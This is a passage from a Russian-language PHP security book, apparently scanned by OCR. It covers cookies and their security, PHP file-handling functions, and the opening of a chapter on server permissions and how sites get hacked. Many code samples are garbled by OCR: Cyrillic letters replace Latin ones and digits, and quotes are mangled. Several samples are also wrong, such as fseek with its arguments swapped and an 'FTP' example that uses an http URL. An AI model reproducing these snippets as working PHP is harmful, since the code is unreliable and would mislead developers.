Вот и весь сеанс. 

Следующий код разрешает доступ к cookie только сценариям из каталога admin на 
сервере profwebdev.com, т. е. сценариям с URL http://profwebdev.com/ru и более 
низкого уровня: 

setcookie("access", $access, mktime(0,0,0,1,1,2010), 
"/ru", "profweЬd�v.com"); 

Такой код разрешает доступ к сооkiе-параметрам лишь из одного файла -
/ru/index.php: 

setcookie("access", $access, mktime(0,0,0,1,1,2010), 
"/ ru/ index. php", "profweЬdev. com") ; 

А если нужно сохранить в cookie переменную, которая содержит массив? На пер

вый взгляд, все просто: 

<?php 

$access = $_COOKIE['access']; 
$access[0]=$access[0]+l; 
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$access[1]=$access[l]+2; 
setcookie("access", $access, mktime(0,0,0,1,1,2010)); 

?> 
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В этом примере создается массив $access, в котором увеличиваются значения двух 
элементов. Значение первого элемента увеличивается на 1, а второго- на 2. За
пустите сценарий и обновите окно браузера несколько раз. Обратите внимание, что 
значения обоих элементов никогда не превышают 9, т. е. состоят из одного симво
ла. Получается, что просто сохранить переменную $access будет неверным реше
нием. Нужно сохранять каждый элемент в отдельности - каждое значение 
в собственном cookie. 

С установкой разобрались. А как же можно удалять cookie? Никакие дополнитель
ные функции не нужны. Достаточно только установить параметр с нужным име
нем, но при этом указать нулевое значение времени его жизни. Таким образом, 
параметр будет удален из cookie при закрытии браузера. Например, следующий код 
удаляет параметр access: 

setcookie("access"); 

Но лучше указать время жизни в прошлом: 

setcookie ("access", О, mktime (О, О, О, 1, 1, 2000)); 

Здесь меняется значение переменной cookie - я указываю 2000 год, который уже 
давно прошел, и это значение будет автоматически удалено браузером из хранили
ща как устаревшее. 

Одна страница может установить несколько параметров, но удален будет только 
access, а все прочие останутся без изменений. 

Напоследок необходимо сделать одно замечание - имя переменной может состо
ять только из латинских букв, цифр, символов подчеркивания или дефисов. Все ос
тальное запрещено и преобразуется к символу подчеркивания. Например, если вы 
назвали переменную $Test@Me, то после выполнения функции setcookie () ее имя 
преобразуется в $Test_Me. 

Проблема в том, что имена переменных не могут содержать символы, отличные от 
латинских букв, подчеркивания и дефиса, поэтому и в cookie действует такой же 
запрет, иначе нельзя будет создать переменную. То есть обратиться к переменной 
$Test@Me нельзя. Вы, конечно, можете попытаться сделать это через массив сле
дующим образом: $ _ соокrЕ [ "$Test@Me" J. Только попытка окажется неудачной - вы 
получите нулевое значение, потому что переменная была переименована. Поэтому 
и нужно'писать: $_COOKIE ["$Test_Me"J. 

2 .1 З. З. Безопасность cookie 

Файлы cookies небезопасны для хранения важной информации, и им доверять нель
зя. В них не должно храниться ничего приватного, что может повлиять на безопас
ность посетителя в системе и на безопасность самого сервера. Существует множе
ство способов завладеть чужими файлами cookies: 
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□ ошибки в веб-браузере;

□ ошибки в сценариях, позволяющие встроить JavaScript-кoд в НТМL-форму;

□ троянские программы.

Хакер может и подделать файл. Для этого чаще всего производятся те же действия, 
которые может выполнить посетитель, и в результате на диске взломщика появится 
файл cookie. Следующим этапом будет подделка cookie таким образом, чтобы он 
соответствовал другому посетителю. Браузеры Chrome и Firefox предоставляют 
удобные средства для редактирования собственных значений cookies, поэтому по
сетитель и может изменить их. 

Рассмотрим классическую задачу с электронными почтовыми ящиками. Допустим, 
что бесплатный почтовый сервис сохраняет в файле cookie параметры доступа 
к почтовому ящику, чтобы при последующем входе в систему не пришлось вводить 
данные заново. Хакер создает себе ящик и получает свой файл cookie. Теперь необ
ходимо изменить этот файл так, чтобы почтовая система приняла его за другого 
посетителя. 

Допустим, что в cookie сохранено текущее имя посетителя. Сервер проверяет: если 
в cookie есть это имя, то ему можно автоматически доверять. Злоумышленник 
может зайти на сайт под своим именем, а потом поменять свои сооkiеs-значения на 
другого посетителя. 

Информация из файлов cookies должна упрощать авторизацию, но не заменять ее, 
поэтому храните там только имена посетителей. Пароли и любую другую инфор
мацию, идентифицирующую посетителя, необходимо хранить отдельно, а лучше 
заставлять посетителей вводить ее при каждом входе. 

В случае с почтовой системой в cookies можно сохранить только сессию, а в пере
менных сессии уже указать, к какому почтовому ящику принадлежит сессия. Хакер 
все еще может поменять значение cookie сессии и попытаться перехватить чужую 
сессию, но тут уже все зависит от того, как уникально это значение и как сложно 
предсказать идентификатор сессии. По умолчанию в РНР используются достаточно 
сложные для подбора идентификаторы. 

Если вы храните в cookie сессию, которая привязана к определенному аккаунту, то 
рекомендуется указать, что cookie доступен только по защищенному протоколу 
HTTPS. Этот протокол использует шифрование, и перехват по пути от посетителя 
к серверу становится практически невозможным. К таким cookies запрещен доступ 
из JavaScript. Подобный подход используется в социальных сетях и почтовых кли
ентах. Никто не захочет каждый раз вводить свой пароль при входе в Mail.ru. 

Желательно также привязывать сессию к определенному IP - это еще один вполне 
достойный способ повысить безопасность данных. 

Следующий вопрос, хотя и не касается безопасности, но я решил все же рассмот
реть его здесь, - размер значений, которые можно хранить в cookie. Так как эти 
значения будут передаваться между браузером и сервером при каждом запросе, же
лательно не сохранять больших данных. В cookie можно поместить небольшую 
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строку или число, но не стоит помещать туда килобайты данных, иначе каждый 

запрос к серверу увеличится на этот объем. 

При нынешних скоростях килобайт данных - практически незначительная инфор
мация. Но не забывайте, что этот килобайт будет отправляться к серверу с каждым 
запросом. Если страница состоит из 20 картинок (вполне реальная ситуация), то 
браузеру придется отправить 20 запросов на каждую картинку, и это уже будет 
20 Кбайт. Если одновременно к сайту обратится 1000 человек, то это уже будет 
20 Мбайт абсолютно ненужной информации, которая пройдет по сети. 

Если требуется сохранить где-то килобайт данных или более, подумайте о том, 
чтобы использовать сессии. 

2.14. lайлы 

Работа с файлами - наиболее интересная тема в этой главе с точки зрения безо
пасности. В следующей главе мы обсудим не менее интересные вопросы. А пока 
продолжаем постепенно двигаться от простого к сложному. 

Из-за неправильного обращения к файловой системе было взломано большое коли
чество сайтов. Любое обращение к системе опасно, а к файловой системе - вдвой
не. В разд. 3.4.1 мы рассмотрим пример ошибки, который я нашел во время подго
товки этой книги, и вы увидите, как хакеры могли бы взломать весьма интересный 
сайт. 

Файлы очень удобны для хранения простых данных - таких как настройки сайта 
или небольшие блоки данных, которые должны выводиться на странице. Но если 
данных много, то в этом случае для их хранения лучше подходят базы данных. 

Из РНР-сценариев вы можете работать с любым файлом сервера, на который уста
новлено соответствующее право доступа. С другой стороны, доступ должен быть 
разрешен только к тем файлам, которые необходимы. 

Права доступа определяются правами веб-сервера, поскольку обращение к файло
вой системе происходит именно от имени веб-сервера. Если сервер работает с пра
вами root, то из сценария можно будет обратиться абсолютно к любому файлу, 
в том числе и к конфигурационному, что нехорошо. Вы должны знать, как пра
вильно настроить свой веб-сервер. О настройке самого популярного сервера Apache 
на платформе Linux вы можете прочитать в уже упомянутой ранее книге «Linux 
глазами хакера» [ 1]. 

Работа G файлами происходит в три этапа: 

1. Открытие файла.

2. Чтение или модификация данных.

3. Закрытие файла.

Давайте рассмотрим функции РНР, которые позволят нам реализовать все эти три 
этапа. Только изучать функции будем немного в другом порядке - открытие, за
крытие и чтение/изменение. 
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2 .14 .1 . Открытие срайла 

Файл открывается с помощью функции fopen (), которая в общем виде выглядит 
следующим образом: 

int fopen(string filename, string mode [, int use_include_path]) 

У функции три параметра, первые два из них являются обязательными. Рассмотрим их: 

□ filename - имя файла, если он находится в текущем каталоге, или полный путь;

□ mode - режим открытия файла. Здесь можно передавать следующие значения:

• r - открыть файл только для чтения;

• r+ - открыть файл для чтения и записи;

• w - открыть файл только для записи. Если он существует, то текущее содер
жимое файла уничтожается. Указатель устанавливается в начало;

• w+ - открыть файл для чтения и для записи. Если он существует, то текущее
содержимое файла уничтожается. Указатель устанавливается в начало;

• а - открыть файл для записи. Указатель устанавливается в конец файла;

• а+ - открыть файл для чтения и записи. Указатель устанавливается в конец
файла;

• ь - обрабатывать бинарный файл. Этот флаг необходим при работе с бинар
ными файлами в ОС Windows;

□ use_include_path - искать файл в каталогах, указанных в директиве include_
path конфигурационного файла php.ini.

Если открываемый файл не существует, то он будет создан. Если файл не сущест
вует, то убедитесь в наличии у веб-сервера прав на запись в каталог, где будет соз
даваться файл, иначе файл создать будет нельзя, и сервер возвратит ошибку. 

Функция возвращает дескриптор открытого файла или false, если попытка откры
тия прошла неудачно. Вы должны внимательно обрабатывать все ошибки вво
да/вывода. Если файл не удалось открыть, то необходимо прервать работу сцена
рия: 

if($f=fopen("testfile.txt", "w+"))

print("Фaйл открыт ($f)"); 
else 

diе("Ошибка открытия файла"); 

Открывать можно не только локальные файлы сервера, но и файлы, расположенные 
на других серверах, только для этого должен использоваться протокол НТТР или 
FTP. Например, следующая строка открывает файл по протоколу НТТР: 

$f=fopen("http://www.you_domain/testfile.txt", "r") 

А теперь посмотрим на работу с файлом по протоколу FTP: 

$f=fopen("http://ftp.you_domain/testfile.txt", "r") 
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Как видите, ничего страшного тут нет. Все максимально просто, и не требуется 
знания сетевых протоколов. Все происходит так же, как и с файлами локальной 
файловой системы, только вместо пути указывается URL. 

2 .14. 2. Закрытие qюйла 

Во время открытия файла ОС выделяет ресурсы для хранения данных, необходи
мых для работы. Если не освобождать такие ресурсы, то производительность сер
вера со временем может пойти на убыль, поэтому нужно всегда их освобождать, а 
в рассматриваемом случае следует закрыть файл. Для этого существует функция 
fclose (), которая в общем виде выглядит следующим образом: 

int fclose (int f) 

Функции передается дескриптор закрываемого файла. Если все прошло удачно, то 
функция возвращает true, иначе - false. Следующий пример показывает, как от
крыть и закрыть файл: 

if ( ! ($f=fopen ( "testfile. txt", "w+")))

print ( "Ошибка открытия файла") ; 
// Здесь можно читать или изменять данные 

fclose($f); 

Если файл не закрьmся, то мы уже ничего поделать не сможем, поэтому пытаться 
отреагировать на потенциальные проблемы бесполезно. Впрочем, никаких проблем 
быть не должно. 

2 .14. Э. Чтение данных 

Для чтения данных из файла можно использовать несколько функций: fread (), 
fgetc (), fgets (), fgetss (). Каждая из них удобна для определенного случая. Рас
смотрим их по очереди на примерах. 

Наиболее часто используемой программистами функцией является fread (), которая 
выглядит следующим образом: 

string fread(int f, int length) 

У этой функции два параметра: 

□ дескриптор файла, из которого нужно производить чтение;

□ колич,ество необходимых символов.

В качестве результата функция возвращает строку прочитанных данных. При этом 
после выполнения функции указатель текущей позиции смещается в конец прочи
танных данных, и при следующем вызове функции fread () будут читаться сле
дующие данные. 

Рассмотрим пример: 

if ( ! ($f=fopen ( "/var/www/htrnl/1/testfile . txt", "r"))) 
{ die ( "File open error") ; } 
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// Чтение первых семи символов 
$s = fread($f, 7); 
print ( "<P>Line 1: $s"); 

// Чтение оставшихся 11 символов 
$s = fread($f, 11); 
print("<P>Line 2: $s"); 

fclose ($f); 

Глава 2 

Допустим, что у нас есть файл testfile.txt, в котором находится строка: This is 
а test. В первой строке кода мы открываем этот файл, при этом указатель устанав
ливается в начало файла. Читаем первые 7 символов с помощью функции fread () и 
выводим их на экран. Теперь указатель файла находится на восьмом символе, 
и чтение начнется с него. 

Переходим к функции fgets () . Она очень похожа на fread () : 

striпg fgets(int f, int length) 

Так в чем же разница? Функция fread () читает данные, не обращая внимания на 
переводы строк. Допустим, ваш файл содержит две строки: 

This is а test 
Test file 

Теперь попробуйте открыть этот файл и прочитать 40 символов. Этого достаточно, 
чтобы прочитать все содержимое файла, и оно будет возвращено в виде одной 
строки. А теперь посмотрим на следующий код: 

// Чтение первой строки 
$s = fgets($f, 40); 
print("<p>Line 1: $s"); 

// Чтение второй строки 
$s = fgets($f, 40); 
print("<p>Line 2: $s"); 

Здесь для чтения используется функция fgets () . Она читает из файла указанное 
количество символов, но прерывает чтение, когда встретит символ перевода стро
ки. Таким образом, несмотря на то, что мы читаем по 40 символов (достаточно для 
обеих строк), каждый вызов функции fgets () будет возвращать только одну строку. 

Итак, функция fread () удобна, когда нужно читать файл, не обращая внимания на 
строки, а fgets () - для чтения файла построчно. 

Функция fgetss () идентична fgets (), но при чтении удаляет из прочитанных дан
ных все HTML- и РНР-теги. В общем виде функция выглядит следующим образом: 

string fgetss(int f, int length [, string allowaЫe]) 

Первые два параметра нам уже известны, а последний для нас новый. Он представ
ляет собой строку, содержащую список разрешенных тегов через запятую. Это уже 
намного лучше, ведь вы можете разрешить чтение из файла только безопасных 
тегов - например, тегов форматирования: <В>, <I>, <U> и т. д. 
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Не помешало бы иметь возможность быстро увидеть строки файла в виде массива. 
Можно прочитать все строки в массиве с помощью fgets (), но есть способ луч
ше - функция file (), которая выглядит следующим образом: 

array file(string filename [, int use_include_path]) 

Простота этого метода заключается в том, что не нужно открывать файл, использо
вать цикл для чтения, закрывать файл. Просто указываем имя нужного файла и по
лучаем массив его содержимого. 

Все хорошо, но тут есть и недостаток. Допустим, что файл занимает 1 Мбайт дис
кового пространства, но нам нужно прочитать только первые 1 О байтов. Функция 
file () загрузит весь файл и израсходует на это много ресурсов. А если к сценарию 
обратятся по сети 100 посетителей? Слишком большие расходы могут привести 
к замедлению работы сервера и увеличению времени отклика. 

Никогда не используйте функцию file () для больших файлов, если не собираетесь 
читать их целиком. Вам может показаться, что лишние расходы незначительны, но 
когда к сайту обращаются сотни тысяч человек, то незначительные потери умно
жаются на сотни тысяч, и это уже становится более серьезной проблемой. 

Приведенный далее пример показывает, как можно загрузить файл в массив и ото
бразить его на экране: 

if ($arr=file ( "/var/www/html/1/testfile. txt"), "r+") 

{ 
for ($i=O; $i<count($arr); $i++) 

printf("<BR>%s", $arr[$i]); 

Следующая функция, которую надо рассмотреть, - fgetc () . Она возвращает один 
символ из файла, поэтому в качестве параметра достаточно указать только деск
риптор файла, из которого нужно читать. В качестве результата функция вернет 
нам один символ в виде строковой переменной: 

string fgetc(int f) 

Я думаю, что принцип работы функции fgetc () понятен без дополнительного при
мера. 

Если достигнут конец файла, то все функции возвращают значение false. Если 
запрашиваемое количество символов меньше, чем осталось в файле, то функции 
возвраща,ют оставшиеся символы. 

Еще раз напоминаю, что при чтении и выводе данных на экран все теги в тексте 
файла будут активными. Если просто вывести результат в браузер, то браузер будет 
использовать теги для форматирования. Исключением является функция fgetss (), 

которая удаляет теги. Если файл может наполняться посетителем, то обязательно 
удаляйте теги. 

Я несколько раз видел ленты новостей, которые хранят последние новости в файле. 
Если посетители сайта могут самостоятельно добавлять новости, то перед сохране-



98 Глава 2 

нием новости и после загрузки не помешало бы удалять теги. В настоящее время 
файловые новостные ленты встречаются уже реже, потому что все стараются ис
пользовать более эффективное средство хранения информации - базы данных. 

2 .14. 4. Дополнительные срункции чтения 

Допустим, что нам необходимо просто вывести на страницу содержимое опреде
ленного файла. Для этого есть две функции: fpassthru () и readfile (). Различие 
между ними состоит в том, что первой передается дескриптор открытого файла 
и она выводит на экран все содержимое, начиная с текущей позиции. Второй пере
дается имя файла, и она сама открывает файл, читает данные, выводит на страницу 
и закрывает файл. 

Например: 

if ($f=fopen("/var/www/html/l/testfile.txt", "r") ) 
{ print("File opened ($f)"); } 

else 
{ die("File open error"); } 

fpassthru ( $f) ; 

Для работы с функцией fpassthru () необходимо, чтобы файл был открыт в режиме 
чтения. 

Если требуется вывести на страницу весь файл, то проще воспользоваться функци

ей readfile (): 

readfile("/var/www/html/1/testfile.txt"); 

Будьте осторожны при использовании функций fpassthru () и readfile (). Дело 
в том, что они никак не проверяют данные файла, а просто отправляют их браузеру, 
который будет отображать принятое содержимое как полноценный НТМL. Если вы 
выводите на страницу содержимое файла index.php, то НТМL-теги из этого файла 
будут обработаны браузером. Если хакер получит доступ к подключаемому файлу, 
то сможет вставить в него JavaScript-кoд и получит возможность провести ХSS
атаку. 

2.14.5. Запись данных 

Для записи данных можно использовать одну из двух функций: fwri te () и fputs (). 
Они идентичны по своему действию и отличаются только названием, поэтому 

будем использовать fwri te (): 

int fwrite(int f, string ws [, int length]) 

У функции три параметра, и первые два из них обязательные: 

□ дескриптор файла, в который нужно записывать данные;

□ строка, которую надо записать;
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□ количество записываемых данных. Если этот параметр не задан, то в файл будет
записана вся строка.

Если запись прошла успешно, то функция возвращает true, иначе - false.

Во время записи вы должны учитывать, что данные пишутся в текущую позицию 
в файле. Например: 
if ( ! ($f=fopen ( 11 /var/www/html/1/testfile. txt 11 , 

11r+ 11))) 

{ 

die ( 11File open error11); 

$s = fread($f, 7); 
print( 11<P>Line 1: $s11); 

fwrite($f, 1

1writing 11)
; 

fclose ($f); 

В этом примере после открытия файла мы сначала читаем 7 символов, а потом уже 
записываем данные. Так как после чтения позиция перемещается на восьмой сим
вол, то запись будет происходить, начиная с восьмого символа. 

2.14.6. ТТоэиционирование в срайле 

Когда необходимо прочитать файл за несколько этапов, очень важно четко знать, 
достигнут ли конец файла. Не стоит надеяться на то, что функции чтения вернут 
пустое значение в конце файла, - лучше воспользоваться специализированным 
методом. В языке РНР есть такой метод- функция feof (). Она возвращает true,

если текущая позиция соответствует концу файла. Например, цикл чтения файла 
может выглядеть следующим образом: 
if ( ! ($f=fopen ( 11 /var/www/html/1/testfile. txt", "r"))) 

{ die ("File open error"); } 

while ( ! feof ($f)) 

$str = fread($f, 10); 

fclose ($f); 

В этом примере мы в цикле читаем данные по 1 О символов, пока не будет достиг
нут кон�ц файла. 
Теперь посмотрим, как можно перемещаться по файлу. Если мы открьmи файл 
размером в 1 Мбайт и хотим прочитать только последние 100 байтов, то нет смысла 
перечитывать весь файл. Нужно просто установить курсор в соответствующую 
позицию и читать только то, что требуется. Для этого используется функция 
fseek (), которая в общем виде выглядит следующим образом: 
int fseek(int f, int offset [, int whence]) 
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Здесь у нас три параметра, и первые два из них обязательные: 

□ f - дескриптор файла;

□ offset - количество символов, на которое нужно передвинуть указатель. На
правление движения зависит от последнего параметра функции;

□ whence - откуда и куда нужно перемещаться. Возможные значения этого пара
метра:

• SЕЕК_SЕТ-движение начинается с начала файла (по умолчанию);

• SEEK _ CUR -движение идет от текущей позиции;

• SEEK _ END -движение идет от конца файла. Чтобы двигаться в начало, во вто-
ром параметре нужно указать отрицательное значение.

Например, если нужно прочитать последние 1 О символов, то можно выполнить 
следующий код: 

fseek($f, SEEK_END, -10); 
$s = fread($f, 10); 

В первой строке кода с помощью функции fseek () мы перемещаемся на 1 О симво
лов от конца файла к началу. Во второй строке мы читаем последние символы. 

Чтобы определить текущую позицию, можно использовать функцию ftell () . Ей 
нужно передать только дескриптор файла, а в результате мы получаем количество 
символов от начала файла. Например: 

$pos = ftell($f); 

Чтобы быстро переместиться в начало файла, можно воспользоваться функцией 
rewind () . Ей следует передать только дескриптор файла, в котором нужно перемес
тить указатель файла в самое начало. 

2 .14. 7. Свойства срайлов 

У файлов много свойств, и их легко определить с помощью РНР-функций без об
ращения к системе напрямую. Но прежде чем заняться свойствами файла, нужно 
научиться выяснять, существует ли он вообще. Это желательно делать перед каж
дой попыткой открыть файл. Для определения существования файла служит функ
ция file _ exists (): 

int file_exists(string filename) 

В качестве параметра функции нужно передать имя файла, и если файл существует, 
то результатом будет true, иначе -false. Тогда код открытия файла лучше писать 
следующим образом, если файл должен существовать: 

if ( ! (file _ exists ( "/var/www/html/1/testfile . txt"))) 
{ diе("Файл не существует"); } 

if ( ! ($f=fopen ( "/var/www/html/1/testfile. txt", "r"))) 
{ die ( "Ошибка открытия файла") ; } 
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Следующая функция позволяет определить время изменения файла или метадан
ных (например, прав доступа)- filectime ():

int filectime(string filename) 

Приведенный далее код иллюстрирует ситуацию, в которой на страницу выводится 
результат выполнения функции filectime ():

if ($time=filectime ("testfile. txt")) 

$timestr = date("l d F У h:i:s А", $time); 

print("Last modified: $timestr"); 

Таким способом удобно отобразить посетителю дату последнего внесения измене
ний в сценарий. 

Результат, возвращаемый функцией filectime (), - число, и для преобразования 
используется функция date () . У этой функции два параметра: нужный формат и 
время. Возможные значения для формата вы сможете найти в документации 
по функции на сайте php.net.

Функция fileatime () возвращает дату последнего обращения к файлу. Под обра
щением понимается любое чтение или изменение содержимого. Мне пока не при
ходилось использовать эту функцию, но, может быть, вам она пригодится: 
int fileatime(string filename) 

Функция filesize () позволяет определить размер файла: 
int filesize(string filename) 

Функции передается имя файла, а в результате мы получаем его размер. 

Для определения типа файла используется несколько функций, но чаще всего нуж
но узнать, является ли путь каталогом, файлом или исполняемым файлом. Помимо 
этого, можно узнать, есть ли у нас права на чтение или запись в фай.rт. Всем этим 
функциям передается имя файла, а результат равен tг,е или false.

Функция is _ dir () возвращает true, если указанный путь соответствует каталогу: 
int is_dir(string filename) 

Функция is _ executaЫe () возвращает true, если указанный путь соответствует ис
полняемому файлу: 
int is executaЫe (string filename)

Функц� is _ file () возвращает true, если указанный путь соответствует файлу: 
int is_file(string filename) 

Функция is _ readaЫe () возвращает true, если указанный файл доступен для чтения: 
int is_readaЫe(string filename) 

Функция is _ wri tаЫе () возвращает true, если указанный файл доступен для записи: 
int is_writaЬle(string filename) 
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Безопасность 

Когда я учился в институте, то на одном из стендов в коридоре прочитал очень ин
тересное высказывание: «Любая программа содержит ошибки. Если в вашей про
грамме их нет, то проверьте программу еще раз. Если снова ошибки не найдены, то 
вы плохой программист». Это не шутка, это реальность. Программисты- люди, а 
людям свойственно ошибаться. Каждый день появляются новые виды атак, и чтобы 
поддерживать программы в безопасном состоянии, приходится регулярно следить 
за методами, которые используют хакеры, и соответствующим образом корректи
ровать исходный код. 

Чем больше проект, тем больше в нем может быть ошибок. Идеальной может быть, 
наверное, только программа, которая просто выводит какой-либо текст, - напри
мер, «Hello, world». 

Если в вашей программе нет ошибок, это означает, что их нет сегодня. Вы написали 
программу в соответствии с последними правилами безопасности, но завтра что-то 
может измениться, и программа станет уязвимой. Например, выйдет новая версия 
веб-сервера или РНР, в которой одна из функций содержит ошибки, и ваш сайт 
окажется под угрозой взлома. Уже было· много случаев, когда проблемой станови
лись вроде бы безопасные функции. Однажды ошибка бьmа найдена в функции 
работы с картинками - она неправильно обрабатывала изображения с нулевой 
шириной. 

Поэтому утверждение о том, что если ошибки нет, то нужно проверить код еще 
раз, - верно. Проверять нужно постоянно. 

Невозможно привести в книге все инструкции, следуя которым программист будет 
создавать абсолютно безопасные сценарии. Но это не значит, что про безопасность 
можно забыть, потому что любую систему все равно взломают. Я постараюсь дать 
рекомендации, которые позволят сделать ваш код более безопасным и понизить 
вероятность взлома до минимума. 

Вся эта книга построена так, что тема безопасности ставится на первый план. Но 
есть определенные общие моменты, которые я вынес в отдельную главу, и их нам 
предстоит сейчас рассмотреть. 
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Мы не будем говорить о необходимости выбирать сложные пароли и хранить их 
в зашифрованном виде. Мне кажется, что простые пароли - это проблема начи
нающих пользователей. Опытные пользователи, которыми являются администра

торы и программисты, давно уже поняли, что пароль god намного проще взломать, 

чем пароль fEd45k%92-EDh_GdPnS82Ndg. 

Я надеюсь, всем ясно, что пароли нужно каждый раз выбирать разные и не исполь
зовать один и тот же везде. Если один из сайтов взломают, то пострадают все ваши 

аккаунты. 

3. 1 . Комплекснм защита

Проблема защиты не ограничивается только защитой сценария. Можно написать 
самую безопасную программу, но при этом установить на сервер ОС с настройками 
по умолчанию. Настройки по умолчанию, как правило, далеки от идеала, вследст
вие чего сервер может быть взломан даже без использования веб-сценариев. 

Безопасным должен быть не только каждый участок кода, но и каждая программа, 
установленная на сервере, сама ОС и все используемое оборудование (в основном 
это касается сетевых устройств). 

Программист должен всегда работать в сотрудничестве с администраторами и спе
циалистами по безопасности. Например, программист может решить, что для его 
удобства необходимо сделать определенный каталог открытым для чтения и записи 
всем посетителям. В этом каталоге сценарии будут сохранять некоторые данные. 
Но если администратор в нем станет хранить важные данные или конфигурацион
ные файлы, сервер окажется под угрозой. Конечно, такая ситуация совсем из об
ласти фантастики, но на необходимость совместной работы программиста и адми
нистратора над решением проблем безопасности она все же указывает. 

Ходят слухи, что группа хакеров смогла взломать множество очень крупных сай
тов, чуть ли не amazon.com и yandex.ru, эксплуатируя банальную уязвимость 
в системе управления версиями SVN. Дело в том, что эта система создает в каждом 
каталоге скрытый подкаталог svn. По идее, раз каталог скрыт, то из веб-браузера 
к нему не должно быть доступа. Но если какой-нибудь веб-браузер позволяет полу

чать через URL доступ к скрытым файлам и каталогам, а вы используете SVN для 
публикации файлов прямо на рабочем сервере, то это теоретически может привести 
к проблемам. 

Впрочеt,t, я не видел подтверждений этим слухам. Не верится, что amazon.com и 

yandex.ru используют систему контроля версий прямо на рабочих веб-серверах, да 
еще и разрешили доступ к скрытым каталогам. Но в любом случае веб-раз
работчикам должны помогать администраторы и специалисты по безопасности. 

Один человек может легко допустить ошибку, людям просто свойственно ошибать
ся. И чтобы уменьшить вероятность ошибок, нужно работать командами. 

Даже если вы являетесь «чистым» разработчиком и не связаны с администрирова
нием сервера своей компании или просто сайта, я все же рекомендую вам познако-
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миться с организацией безопасности ОС, которая используется на вашем сервере. 

Про Linuх-системы, если вам нравится мой стиль, вы можете прочитать в уже упо
мянутой мной ранее книге «Linux глазами хакера» [l]. 

Давайте рассмотрим пример защиты MySQL и Apache в операционной системе 
Linux. Защиту самой ОС мы опустим, потому что это отдельная и очень большая 

тема. 

Итак, защита начинается с установки и предварительного конфигурирования. 
В случае с MySQL необходимо выполнить следующие действия: 

1. По умолчанию сервер базы данных устанавливается с настройками, при которых

администраторский доступ разрешен пользователю root с «пустым» паролем.
Это небезопасно. Необходимо как минимум установить сложный пароль, а так

же переименовать учетную запись root. Если вы работали с ОС Linux, то должны

знать, что в этой системе администратор тоже работает под учетной записью
root. Но имена администраторов в ОС и в базе данных никак не связаны и не

должны быть одинаковыми.

2. Надо заблокировать анонимный доступ к базе данных. Подключения должны

производиться только для авторизованных посетителей.

3. Необходимо удалить все базы данных, созданные для тестирования и отладки.

По умолчанию в большинстве серверов баз данных устанавливается тестовая
база данных. В работающей системе ее быть не должно.

4. Никогда не подключайтесь к базе данных из сценариев от имени администрато

ра. Сценарии должны подключаться к базе от имени простого пользователя и,

желательно, с минимальными правами доступа. Если таблица содержит неизме
няемые д;:шные, то нужно запретить пользователю выполнение оператора

UPDATE. Да, придется потратить время на настройку прав доступа, но без этого не

обойтись.

Л1:1чно я работаю с базой данных от имени суперпольз()вателя, у которого есть пол
ный доступ, а все мои сайты для подключения используют выделенную для сайта 

учетную запись, которая имеет право выполнять только запросы: SELECT, UPDJ>.TE и, 

возможно, еще DELETE. Очень часто проблемы с излишними правами возникают то

гда, когда сайт работает под той же учетной записью, под которой программист 

или администратор запускает скрипты обновления базы данных. Для обновления 

сайта часто нужно создавать новые таблицы или добавлять/удалять колонки. Код 
самого сайта не должен создавать или удалять какие-либо объекты в базе, поэтому 
тут не нужны права на создание объектов. 

Я не раз видел, что когда при работе с базой данных возникает какая-либо пробле

ма прав доступа, то просто начинают работать от администратора или дают своей 
текущей учетной записи «права бога». Это плохо. 
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3. 2. ТТрава доступа

В программировании и администрировании необходимо всегда отталкиваться от 
правила: запрещено все, что не разрешено. Когда вы настраиваете компью
тер/сервер или пишете программу, нужно сначала запретить абсолютно все и толь
ко потом выдавать определенные права. Это должно касаться всего, с чем вы рабо
таете. 

Сценарии должны выполняться в системе с минимальными правами. Предполо
жим, ваш сценарий должен иметь право обращаться к системному каталогу /etc. 

В этом каталоге сервер хранит конфигурационные файлы, и если хакеру удастся 
скомпрометировать сценарий, то велика вероятность, что он сможет получить на 
сервере права администратора. 

Чтобы проще было управлять правами, располагайте файлы в отдельных каталогах 
по типам. Например, файлы с настройками (inc, dat и т. п.) лучше всего поместить 
в один каталог, файлы шаблонов - в другой, а файлы с функциями на языке 
JavaScript - в третий. Исполняемые файлы сценариев также не стоит разбрасывать 
по каталогам и расположить их следует максимально компактно. 

Права на выполнение должны быть только у тех файлов, которым это действитель
но необходимо. Например, файлы с командами JavaScript должны иметь права 
только на чтение, но никак не на выполнение. Такие файлы выполняются на сторо
не клиента, а серверу достаточно прав на чтение, чтобы просто передать файл кли
енту. 

Конфигурационные файлы с расширением php должны иметь права на выполнение, 
чтобы они выполнялись на сервере и не передавались клиенту. 

Нужно учитывать права доступа не только к файлам, но и к базам данных, права 
удаленного подключения к серверу, на котором работает сайт, и т. д. 

3.3. Как взламывают сценарии? 

Чтобы понять, как защититься от хакера, необходимо знать, как действуют хакеры, 
и об этом я уже не раз говорил и буду говорить. 

Любой взлом начинается с исследования. Если хакер хочет взломать сервер, то он 
изучает его ОС и службы, которые работают на сервере. Мы сейчас защищаем сце
нарии, �;�оэтому давайте посмотрим, что здесь может заинтересовать хакера, и как 
от него можно защититься. 

В случае с сайтами хакер может начать изучение системы с определения ее струк
туры: какие каталоги используются, какие имеются файлы сценариев и т. д. 
Взломщику нужно получить как можно больше информации, чтобы проще было 
работать. 

Были времена, когда программисты сохраняли на сайте старые версии сценариев. 
Например, файл сценария называется index.php, и программист написал его новую 
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версию. Прежде чем обновлять файл, он переименовывал текущую версию 
в index.bak или index.old, а потом уже копировал на сервер новую версию. При этом 

он имел в виду, что если обновленная программа работать не станет, простым 
переименованием файлов можно будет вернуться к старой версии. 

Но дело в том, что при обраще�-ши к файлу с расширением php он выполняется ин
терпретатором, и исходный код увидеть не удается. Однако если изменить расши
рение на old и попытаться открыть файл, то можно будет увидеть его исходный код 
или скачать файл сценария к себе на диск. А если хакер получит в свое распоряже
ние исходный код, это серьезно развяжет ему руки и упростит поиск уязвимости. 

Поэтому никогда не создавайте резервные копии файлов на сервере, а копируйте их 
на свой клиентский компьютер. 

Сейчас подобное встречается все реже, и чтобы хорошо забытый старый прием 
снова не стал популярным, нужно помнить об этой проблеме и не совершать ошиб
ки прошлого. 

Как обойтись без создания резервных копий? Чтобы не было желания создать ко
пию файла перед тем, как вносить в код какие бы то ни было серьезные изменения, 
я рекомендую просто пользоваться системой контроля версий. Эта система в ос
новном используется для совместной разработки кода, чтобы команды программи
стов могли совместно работать над кодом одного проекта, но лично я использую ее 
даже в личных одиночных проектах. Код всех своих сайтов я поместил в репозито
рий git, и все изменения делаю отдельными комитами. Не нужно никаких времен
ных файлов, когда можно увидеть всю историю изменений файлов, можно отме
